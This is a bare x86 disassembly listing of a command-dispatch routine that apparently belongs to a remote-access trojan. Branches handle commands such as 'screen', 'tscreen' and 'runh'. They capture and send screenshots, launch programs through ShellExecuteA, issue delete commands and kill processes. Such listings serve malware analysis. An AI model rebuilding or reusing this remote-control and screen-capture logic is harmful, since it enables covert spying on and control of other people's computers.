call fcn.0042bf10
lea eax, [esp + 0x4e4]
push eax
mov byte [esp + 0x3ee4], 0x62
call fcn.00410910
add esp, 0x74
cmp dword [esp + 0x48c], edi
jb 0x426c04
mov ecx, dword [esp + 0x478]
push ecx
call fcn.00434321
add esp, 4
mov eax, dword [esp + 0x1b3c]
mov dword [esp + 0x48c], esi
mov dword [esp + 0x488], ebx
mov byte [esp + 0x478], 0
cmp dword [esp + 0x1b50], edi
jae 0x426c31
lea eax, [esp + 0x1b3c]
push eax
call fcn.004355bb
add esp, 4
jmp 0x426c51
mov edx, dword [esp + 0x82c]
push 1
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, 0xf
mov dword [esp + 0x3e70], 4
cmp dword [esp + 0x1b50], edi
jb 0x426c75
mov eax, dword [esp + 0x1b3c]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x1b50], esi
mov dword [esp + 0x1b4c], ebx
mov byte [esp + 0x1b3c], 0
mov ecx, 0x45d71c
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x427025
push 1
xor ecx, ecx
lea esi, [esp + 0x4e8]
lea edx, [esp + 0x1a94]
call fcn.0042b6b0
mov dword [esp + 0x3e70], 0x16c
mov ebx, dword [esp + 0x28]
or ebx, 0x40
mov ecx, 0x45bb08
mov edi, eax
mov dword [esp + 0x28], ebx
call fcn.0042f0d0
test al, al
jne 0x426d3b
push 1
xor ecx, ecx
lea esi, [esp + 0x4b0]
lea edx, [esp + 0x1a94]
call fcn.0042b6b0
mov dword [esp + 0x3e70], 0x16d
or ebx, 0x80
mov ecx, 0x45b994
mov edi, eax
mov dword [esp + 0x28], ebx
call fcn.0042f0d0
test al, al
jne 0x426d3b
push 1
push 0x45bc24
lea ecx, [esp + 0x1a98]
push ecx
call fcn.0042c190
mov byte [esp + 0x33], 1
cmp eax, 0xffffffff
je 0x426d40
mov byte [esp + 0x33], 0
mov ebp, 0x10
test bl, bl
jns 0x426d86
and ebx, 0xffffff7f
cmp dword [esp + 0x4c4], ebp
jb 0x426d68
mov edx, dword [esp + 0x4b0]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x4c4], 0xf
mov dword [esp + 0x4c0], 0
mov byte [esp + 0x4b0], 0
mov dword [esp + 0x3e70], 4
test bl, 0x40
je 0x426dcd
cmp dword [esp + 0x4fc], ebp
jb 0x426daf
mov eax, dword [esp + 0x4e8]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x4fc], 0xf
mov dword [esp + 0x4f8], 0
mov byte [esp + 0x4e8], 0
cmp byte [esp + 0x33], 0
je 0x426ea2
mov ecx, dword [esp + 0x20]
add ecx, 0x430
push ecx
mov edi, 0x45bb08
lea esi, [esp + 0x558]
call fcn.0042f240
add esp, 4
lea edx, [esp + 0x1a90]
push edx
push eax
lea edi, [esp + 0x524]
mov dword [esp + 0x3e78], 0x16e
call fcn.0042f780
add esp, 8
push 0xffffffffffffffff
xor edi, edi
push edi
push eax
lea ecx, [esp + 0x1a9c]
mov byte [esp + 0x3e7c], 0x6f
call fcn.0042bf10
cmp dword [esp + 0x534], ebp
jb 0x426e4d
mov eax, dword [esp + 0x520]
push eax
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [esp + 0x3e70], 4
mov dword [esp + 0x534], esi
mov dword [esp + 0x530], edi
mov byte [esp + 0x520], 0
cmp dword [esp + 0x56c], ebp
jb 0x426e8c
mov ecx, dword [esp + 0x558]
push ecx
call fcn.00434321
add esp, 4
mov dword [esp + 0x56c], esi
mov dword [esp + 0x568], edi
mov byte [esp + 0x558], 0
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
xor ebx, ebx
test al, al
jne 0x42702c
mov ecx, dword [esp + 0x1aa4]
xor esi, esi
cmp ecx, ebx
je 0x426f27
cmp esi, ecx
jbe 0x426eda
call fcn.00435bca
mov ecx, dword [esp + 0x1aa4]
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ebp
jae 0x426ef1
lea eax, [esp + 0x1a94]
cmp byte [eax + esi], 0x2f
jne 0x426f22
cmp esi, ecx
jbe 0x426f00
call fcn.00435bca
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ebp
jae 0x426f17
lea eax, [esp + 0x1a94]
mov byte [eax + esi], 0x5c
mov ecx, dword [esp + 0x1aa4]
inc esi
cmp esi, ecx
jne 0x426ecc
lea edx, [esp + 0x1a90]
push edx
mov ecx, str._C_del__
lea edi, [esp + 0x5c8]
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45bc28
lea esi, [esp + 0x590]
mov dword [esp + 0x3e74], 0x170
call fcn.0042f240
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1a9c]
mov byte [esp + 0x3e7c], 0x71
call fcn.0042bf10
cmp dword [esp + 0x5a4], ebp
jb 0x426f94
mov eax, dword [esp + 0x590]
push eax
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [esp + 0x3e70], 4
mov dword [esp + 0x5a4], esi
mov dword [esp + 0x5a0], ebx
mov byte [esp + 0x590], 0
cmp dword [esp + 0x5dc], ebp
jb 0x426fd3
mov ecx, dword [esp + 0x5c8]
push ecx
call fcn.00434321
add esp, 4
mov eax, dword [esp + 0x1a94]
mov dword [esp + 0x5dc], esi
mov dword [esp + 0x5d8], ebx
mov byte [esp + 0x5c8], 0
cmp dword [esp + 0x1aa8], ebp
jae 0x427000
lea eax, [esp + 0x1a94]
push ebx
push 0x45b404
push eax
push 0x45cff0
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x42702a
mov ebp, 0x10
xor ebx, ebx
mov ecx, str.screen
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42728f
mov eax, dword [esp + 0x20]
push 0xffffffffffffffff
add eax, 0x430
push ebx
push eax
lea ecx, [esp + 0xa0]
mov dword [esp + 0xb8], 0xf
mov dword [esp + 0xb4], ebx
mov byte [esp + 0xa4], 0
call fcn.0042bf10
lea edx, [esp + 0x94]
push edx
mov edi, str._screen.jpg
lea esi, [esp + 0x600]
mov dword [esp + 0x3e74], 0x172
call fcn.0042f240
add esp, 4
mov esi, dword [esp + 0x20]
push 0xffffffffffffffff
push ebx
add esi, 0x414
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x73
call fcn.0042bf10
cmp dword [esp + 0x614], ebp
jb 0x4270d5
mov eax, dword [esp + 0x600]
push eax
call fcn.00434321
add esp, 4
mov edi, 0xf
mov dword [esp + 0x3e70], 4
mov dword [esp + 0x614], edi
mov dword [esp + 0x610], ebx
mov byte [esp + 0x600], 0
cmp dword [esp + 0xac], ebp
jb 0x427114
mov ecx, dword [esp + 0x98]
push ecx
call fcn.00434321
add esp, 4
push 1
push 0x3c
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0xd0], edi
mov dword [esp + 0xcc], ebx
mov byte [esp + 0xbc], 0
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x3c], esp
cmp dword [ecx + 0x18], ebp
jb 0x427147
mov eax, dword [ecx + 4]
jmp 0x42714a
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push esi
mov byte [eax], 0
call fcn.0042bf10
call fcn.00409a50
add esp, 0x24
cmp dword [esi + 0x18], ebp
jb 0x427168
mov eax, dword [esi + 4]
jmp 0x42716b
lea eax, [esi + 4]
push ebx
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x42728f
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str._:_screen.jpg
call fcn.0042b4b0
sub esp, 0x1c
mov dword [esp + 0x3ea8], 0x174
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], ebp
jb 0x4271b5
mov eax, dword [ecx + 4]
jmp 0x4271b8
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x75
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x70], esp
cmp dword [ecx + 0x18], ebp
jb 0x4271e9
mov eax, dword [ecx + 4]
jmp 0x4271ec
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x76
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x94], esp
cmp dword [ecx + 0x18], ebp
jb 0x427220
mov eax, dword [ecx + 4]
jmp 0x427223
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push esi
mov byte [eax], 0
call fcn.0042bf10
lea edx, [esp + 0x6a4]
push edx
mov dword [esp + 0x3ee4], 4
call fcn.00410910
add esp, 0x74
cmp dword [esp + 0x64c], ebp
jb 0x427263
mov eax, dword [esp + 0x638]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x64c], edi
mov dword [esp + 0x648], ebx
mov byte [esp + 0x638], 0
cmp dword [esi + 0x18], ebp
jb 0x427283
mov esi, dword [esi + 4]
jmp 0x427286
add esi, 4
push esi
call fcn.004355bb
add esp, 4
mov ecx, str.screen2
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4273bd
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
mov ebx, 6
call fcn.0042f0d0
test al, al
jne 0x4272e4
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ebp
jae 0x4272d9
lea eax, [esp + 0x1a94]
push eax
call fcn.00435329
add esp, 4
mov ebx, eax
mov ecx, 0x45b404
lea edi, [esp + 0x1ac8]
mov esi, 0x3c
call fcn.0042f0d0
test al, al
jne 0x427320
mov eax, dword [esp + 0x1acc]
cmp dword [esp + 0x1ae0], ebp
jae 0x427315
lea eax, [esp + 0x1acc]
push eax
call fcn.00435329
add esp, 4
mov esi, eax
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push str.:_screen.jpg
call fcn.0042b4b0
sub esp, 0x1c
mov dword [esp + 0x3eac], 0x177
mov ecx, esp
mov esi, 0xf
xor edi, edi
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], edi
mov dword [esp + 0x50], esp
cmp dword [ecx + 0x18], ebp
jb 0x42735f
mov eax, dword [ecx + 4]
jmp 0x427362
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec8], 0x78
mov ecx, esp
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], edi
mov dword [esp + 0x74], esp
cmp dword [ecx + 0x18], ebp
jb 0x427393
mov eax, dword [ecx + 4]
jmp 0x427396
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
mov ecx, ebx
mov dword [esp + 0x3ec8], 4
call fcn.00413260
add esp, 0x58
xor ebx, ebx
mov ecx, str.tscreen2
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4276b7
mov eax, dword [esp + 0x20]
push 0xffffffffffffffff
add eax, 0x430
push ebx
push eax
lea ecx, [esp + 0xd8]
mov dword [esp + 0xf0], 0xf
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], 0
call fcn.0042bf10
lea ecx, [esp + 0xcc]
push ecx
mov edi, str._tscreen.jpg
lea esi, [esp + 0x670]
mov dword [esp + 0x3e74], 0x179
call fcn.0042f240
add esp, 4
mov esi, dword [esp + 0x20]
push 0xffffffffffffffff
push ebx
add esi, 0x414
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x7a
call fcn.0042bf10
cmp dword [esp + 0x684], ebp
jb 0x427466
mov edx, dword [esp + 0x670]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x3e70], 4
mov dword [esp + 0x684], 0xf
mov dword [esp + 0x680], ebx
mov byte [esp + 0x670], 0
cmp dword [esp + 0xe4], ebp
jb 0x4274a4
mov eax, dword [esp + 0xd0]
push eax
call fcn.00434321
add esp, 4
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
mov dword [esp + 0xe4], 0xf
mov dword [esp + 0xe0], 0
mov byte [esp + 0xd0], 0
mov ebx, 6
call fcn.0042f0d0
test al, al
jne 0x4274ff
cmp dword [esp + 0x1aa8], 0x10
mov eax, dword [esp + 0x1a94]
jae 0x4274f4
lea eax, [esp + 0x1a94]
push eax
call fcn.00435329
add esp, 4
mov ebx, eax
mov ecx, 0x45b404
lea edi, [esp + 0x1ac8]
mov ebp, 0x3c
call fcn.0042f0d0
lea edi, [ebp - 0x2c]
test al, al
jne 0x42753e
mov eax, dword [esp + 0x1acc]
cmp dword [esp + 0x1ae0], edi
jae 0x427533
lea eax, [esp + 0x1acc]
push eax
call fcn.00435329
add esp, 4
mov ebp, eax
push ebx
push ebp
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
mov dword [esp + 0x3c], esp
cmp dword [ecx + 0x18], edi
jb 0x427561
mov eax, dword [ecx + 4]
jmp 0x427564
lea eax, [ecx + 4]
push 0xffffffffffffffff
push 0
push esi
mov byte [eax], 0
call fcn.0042bf10
call fcn.00409a50
add esp, 0x24
cmp dword [esi + 0x18], edi
jb 0x427583
mov eax, dword [esi + 4]
jmp 0x427586
lea eax, [esi + 4]
push 0
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x4276b7
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.:_screen_thumb.jpg
call fcn.0042b4b0
sub esp, 0x1c
mov dword [esp + 0x3ea8], 0x17b
mov ecx, esp
mov ebp, 0xf
xor ebx, ebx
mov dword [ecx + 0x18], ebp
mov edi, 0x10
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], edi
jb 0x4275dd
mov eax, dword [ecx + 4]
jmp 0x4275e0
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x7c
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x70], esp
cmp dword [ecx + 0x18], edi
jb 0x427611
mov eax, dword [ecx + 4]
jmp 0x427614
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x7d
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x94], esp
cmp dword [ecx + 0x18], edi
jb 0x427648
mov eax, dword [ecx + 4]
jmp 0x42764b
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push esi
mov byte [eax], 0
call fcn.0042bf10
lea ecx, [esp + 0x714]
push ecx
mov dword [esp + 0x3ee4], 4
call fcn.00410910
add esp, 0x74
cmp dword [esp + 0x6bc], edi
jb 0x42768b
mov edx, dword [esp + 0x6a8]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x6bc], ebp
mov dword [esp + 0x6b8], ebx
mov byte [esp + 0x6a8], 0
cmp dword [esi + 0x18], edi
jb 0x4276ab
mov esi, dword [esi + 4]
jmp 0x4276ae
add esi, 4
push esi
call fcn.004355bb
add esp, 4
mov ecx, str.tscreen
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x427980
mov ebx, dword [esp + 0x20]
push 0xffffffffffffffff
lea eax, [ebx + 0x430]
push 0
mov ebp, 0xf
push eax
lea ecx, [esp + 0xbc]
mov dword [esp + 0xd4], ebp
mov dword [esp + 0xd0], 0
mov byte [esp + 0xc0], 0
call fcn.0042bf10
lea eax, [esp + 0xb0]
push eax
mov edi, str._tscreen.jpg
lea esi, [esp + 0x6e0]
mov dword [esp + 0x3e74], 0x17e
call fcn.0042f240
add esp, 4
push 0xffffffffffffffff
push 0
lea esi, [ebx + 0x414]
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x7f
call fcn.0042bf10
mov ebx, 0x10
cmp dword [esp + 0x6f4], ebx
jb 0x427769
mov ecx, dword [esp + 0x6e0]
push ecx
call fcn.00434321
add esp, 4
mov dword [esp + 0x3e70], 4
mov dword [esp + 0x6f4], ebp
mov dword [esp + 0x6f0], 0
mov byte [esp + 0x6e0], 0
cmp dword [esp + 0xc8], ebx
jb 0x4277a7
mov edx, dword [esp + 0xb4]
push edx
call fcn.00434321
add esp, 4
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
mov dword [esp + 0xc8], 0xf
mov dword [esp + 0xc4], 0
mov byte [esp + 0xb4], 0
mov ebp, 6
call fcn.0042f0d0
test al, al
jne 0x427801
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ebx
jae 0x4277f6
lea eax, [esp + 0x1a94]
push eax
call fcn.00435329
add esp, 4
mov ebp, eax
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
mov dword [esp + 0x34], esp
cmp dword [ecx + 0x18], ebx
jb 0x427822
mov eax, dword [ecx + 4]
jmp 0x427825
lea eax, [ecx + 4]
push 0xffffffffffffffff
push 0
push esi
mov byte [eax], 0
call fcn.0042bf10
mov ecx, ebp
call fcn.00409730
add esp, 0x1c
cmp dword [esi + 0x18], ebx
jb 0x427846
mov eax, dword [esi + 4]
jmp 0x427849
lea eax, [esi + 4]
push 0
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x427985
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str._:_screen_thumb.jpg
call fcn.0042b4b0
sub esp, 0x1c
mov dword [esp + 0x3ea8], 0x180
mov ecx, esp
mov ebp, 0xf
xor edi, edi
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], edi
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], ebx
jb 0x42789b
mov eax, dword [ecx + 4]
jmp 0x42789e
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x81
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], edi
mov dword [esp + 0x70], esp
cmp dword [ecx + 0x18], ebx
jb 0x4278cf
mov eax, dword [ecx + 4]
jmp 0x4278d2
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x82
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], edi
mov dword [esp + 0x94], esp
cmp dword [ecx + 0x18], ebx
jb 0x427906
mov eax, dword [ecx + 4]
jmp 0x427909
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push esi
mov byte [eax], 0
call fcn.0042bf10
lea eax, [esp + 0x784]
push eax
mov dword [esp + 0x3ee4], 4
call fcn.00410910
add esp, 0x74
cmp dword [esp + 0x72c], ebx
jb 0x427949
mov ecx, dword [esp + 0x718]
push ecx
call fcn.00434321
add esp, 4
mov dword [esp + 0x72c], ebp
mov dword [esp + 0x728], edi
mov byte [esp + 0x718], 0
cmp dword [esi + 0x18], ebx
jb 0x427972
mov esi, dword [esi + 4]
push esi
call fcn.004355bb
add esp, 4
jmp 0x427985
add esi, 4
push esi
call fcn.004355bb
add esp, 4
jmp 0x427985
mov ebx, 0x10
mov ecx, 0x45d790
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4279f3
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
test al, al
jne 0x4279f3
mov ecx, dword [esp + 0x1acc]
cmp dword [esp + 0x1ae0], ebx
jae 0x4279c6
lea ecx, [esp + 0x1acc]
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ebx
jae 0x4279dd
lea eax, [esp + 0x1a94]
push 0
push 0x45b404
push ecx
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, str.runh
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x427a61
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
test al, al
jne 0x427a61
mov ecx, dword [esp + 0x1acc]
cmp dword [esp + 0x1ae0], ebx
jae 0x427a34
lea ecx, [esp + 0x1acc]
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ebx
jae 0x427a4b
lea eax, [esp + 0x1a94]
push 0
push 0x45b404
push ecx
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x45d79c
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x427d75
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
test al, al
jne 0x427d75
mov ebp, dword [esp + 0x20]
push 0xffffffffffffffff
add ebp, 0x414
push 0
mov edx, edi
push edx
mov ecx, ebp
mov dword [esp + 0x30], ebp
call fcn.0042bf10
push 0x7e8
call fcn.00432f0b
add esp, 4
mov eax, 0x45b3f8
lea ecx, [esp + 0x1b8c]
call fcn.0042bc20
mov dword [esp + 0x3e70], 0x183
cmp dword [ebp + 0x18], ebx
jb 0x427ae2
mov ebp, dword [ebp + 4]
jmp 0x427ae5
add ebp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push ebp
push 0
push 0x362
call ebx
mov esi, eax
lea eax, [esi + esi]
push eax
call fcn.004348f3
add esp, 4
push esi
mov edi, eax
push edi
push 0xffffffffffffffff
push ebp
push 0
push 0x4e3
call ebx
mov eax, edi
lea ecx, [esp + 0x74c]
call fcn.0042bc20
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1b94]
mov byte [esp + 0x3e78], 0x84
call fcn.0042c6a0
mov byte [esp + 0x3e70], 0x83
cmp dword [esp + 0x764], 8
jb 0x427b61
mov ecx, dword [esp + 0x750]
push ecx
call fcn.00434321
add esp, 4
mov ecx, dword [esp + 0x1b90]
xor ebx, ebx
xor edx, edx
mov esi, 8
mov edi, 7
mov dword [esp + 0x764], edi
mov dword [esp + 0x760], ebx
mov word [esp + 0x750], dx
cmp dword [esp + 0x1ba4], esi
jae 0x427b9c
lea ecx, [esp + 0x1b90]
lea eax, [esp + 0x7a0]
push eax
call fcn.00415ba0
add esp, 4
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x1b94]
mov byte [esp + 0x3e78], 0x85
call fcn.0042c6a0
mov byte [esp + 0x3e70], 0x83
cmp dword [esp + 0x7b8], esi
jb 0x427be4
mov ecx, dword [esp + 0x7a4]
push ecx
call fcn.00434321
add esp, 4
lea eax, [esp + 0x1b8c]
xor edx, edx
push eax
lea esi, [esp + 0x7dc]
mov dword [esp + 0x7bc], edi
mov dword [esp + 0x7b8], ebx
mov word [esp + 0x7a8], dx
call fcn.00402ae0
add esp, 4
push 0xffffffffffffffff
mov byte [esp + 0x3e74], 0x86
mov ebp, dword [esp + 0x28]
push ebx
push eax
mov ecx, ebp
call fcn.0042bf10
mov esi, 0x10
mov byte [esp + 0x3e70], 0x83
cmp dword [esp + 0x7f0], esi
jb 0x427c50
mov ecx, dword [esp + 0x7dc]
push ecx
call fcn.00434321
add esp, 4
sub esp, 0x1c
mov edi, 0xf
mov ecx, esp
mov dword [esp + 0x80c], edi
mov dword [esp + 0x808], ebx
mov byte [esp + 0x7f8], 0
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x34], esp
cmp dword [ecx + 0x18], esi
jb 0x427c84
mov eax, dword [ecx + 4]
jmp 0x427c87
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x87
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x4c], esp
cmp dword [ecx + 0x18], esi
jb 0x427cb8
mov eax, dword [ecx + 4]
jmp 0x427cbb
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x88
mov ecx, esp
mov dword [esp + 0x70], esp
push str.divsig_atmp.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x89
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x94], esp
cmp dword [ecx + 0x18], esi
jb 0x427d0a
mov eax, dword [ecx + 4]
jmp 0x427d0d
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push ebp
mov byte [eax], 0
call fcn.0042bf10
lea edi, [esp + 0x1668]
mov byte [esp + 0x3ee0], 0x83
call fcn.004107a0
add esp, 0x70
push ebx
push 1
mov ecx, edi
call fcn.0042c4b0
cmp dword [esp + 0x1ba4], 8
jb 0x427d54
mov edx, dword [esp + 0x1b90]
push edx
call fcn.00434321
add esp, 4
xor eax, eax
mov dword [esp + 0x1ba0], ebx
mov dword [esp + 0x1ba4], 7
mov word [esp + 0x1b90], ax
mov ebx, 0x10
cmp dword [esp + 0x1ae0], ebx
jb 0x427d8e
mov ecx, dword [esp + 0x1acc]
push ecx
call fcn.00434321
add esp, 4
xor edi, edi
mov esi, 0xf
mov dword [esp + 0x1ae0], esi
mov dword [esp + 0x1adc], edi
mov byte [esp + 0x1acc], 0
cmp dword [esp + 0x1aa8], ebx
jb 0x427dc4
mov edx, dword [esp + 0x1a94]
push edx
call fcn.00434321
add esp, 4
push edi
push 1
lea ecx, [esp + 0x1aec]
mov dword [esp + 0x1ab0], esi
mov dword [esp + 0x1aac], edi
mov byte [esp + 0x1a9c], 0
call fcn.0042c4b0
push edi
push 1
lea ecx, [esp + 0x1ab4]
call fcn.0042c4b0
push edi
push 1
lea ecx, [esp + 0x3e84]
call fcn.0042c4b0
mov ecx, dword [esp + 0x3e68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x3e50]
xor ecx, esp
call fcn.0043432c
add esp, 0x3e60
ret 0x20